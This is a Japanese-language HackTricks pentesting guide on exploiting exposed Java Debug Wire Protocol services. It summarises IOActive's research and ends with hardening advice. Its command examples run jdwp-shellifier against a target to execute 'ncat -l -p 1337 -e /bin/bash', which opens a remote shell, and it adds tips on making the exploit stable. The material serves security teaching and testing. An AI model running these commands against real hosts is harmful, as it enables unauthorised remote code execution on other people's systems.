# JDWPの侵入テスト - Java Debug Wire Protocol
htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 - **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
## Exploiting JDWPの悪用は、**認証と暗号化の欠如**に依存しています。通常は**ポート8000**で見つかりますが、他のポートも可能です。最初の接続は、ターゲットポートに「JDWP-Handshake」を送信することで行われます。JDWPサービスがアクティブである場合、同じ文字列で応答し、その存在を確認します。このハンドシェイクは、ネットワーク上のJDWPサービスを特定するための指紋認識方法として機能します。 プロセスの識別に関しては、Javaプロセスで「jdwk」という文字列を検索することで、アクティブなJDWPセッションを示すことができます。 おすすめのツールは[jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)です。異なるパラメータを使用して次のように実行できます: ```bash ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept ``` 私は、`--break-on 'java.lang.String.indexOf'`の使用がエクスプロイトをより**安定**させることがわかりました。また、ホストにバックドアをアップロードしてコマンドを実行する代わりに実行すると、エクスプロイトはさらに安定します。 ## 詳細 **これは[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)の要約です**。詳細についてはそちらをご確認ください。 1. **JDWP概要**: - パケットベースのネットワークバイナリプロトコルで、主に同期型です。 - 認証や暗号化がないため、敵対的なネットワークにさらされると脆弱です。 2. **JDWPハンドシェイク**: - 通信を開始するために簡単なハンドシェイクプロセスが使用されます。デバッガー(クライアント)とデバッギー(サーバー)の間で14文字のASCII文字列「JDWP-Handshake」が交換されます。 3. **JDWP通信**: - メッセージは長さ、ID、フラグ、コマンドセットなどのフィールドを持つ単純な構造をしています。 - コマンドセットの値は0x40から0x80までで、異なるアクションやイベントを表します。 4. **エクスプロイテーション**: - JDWPは任意のクラスやバイトコードをロードして呼び出すことを許可するため、セキュリティリスクがあります。 - 記事では、Javaランタイムの参照を取得し、ブレークポイントを設定し、メソッドを呼び出すという5つのステップのエクスプロイテーションプロセスが詳細に説明されています。 5. **実際のエクスプロイテーション**: - 潜在的なファイアウォール保護にもかかわらず、JDWPサービスはShodanHQやGitHubなどのプラットフォームで検索され、実世界のシナリオで発見され、エクスプロイトされます。 - エクスプロイトスクリプトはさまざまなJDKバージョンでテストされ、プラットフォームに依存せず、信頼性の高いリモートコード実行(RCE)を提供します。 6. **セキュリティ上の考慮事項**: - インターネット上にオープンなJDWPサービスが存在することは、定期的なセキュリティレビューの必要性、本番環境でのデバッグ機能の無効化、適切なファイアウォール構成を強調しています。 ### **参考文献:** * [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)] * [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier) * [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html) * http://www.secdev.org/projects/scapy(現在は非アクティブ) * [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE) * http://www.hsc-news.com/archives/2013/000109.html(現在は非アクティブ) * [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt) * https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults * [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html) * [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com) * [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html) * [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)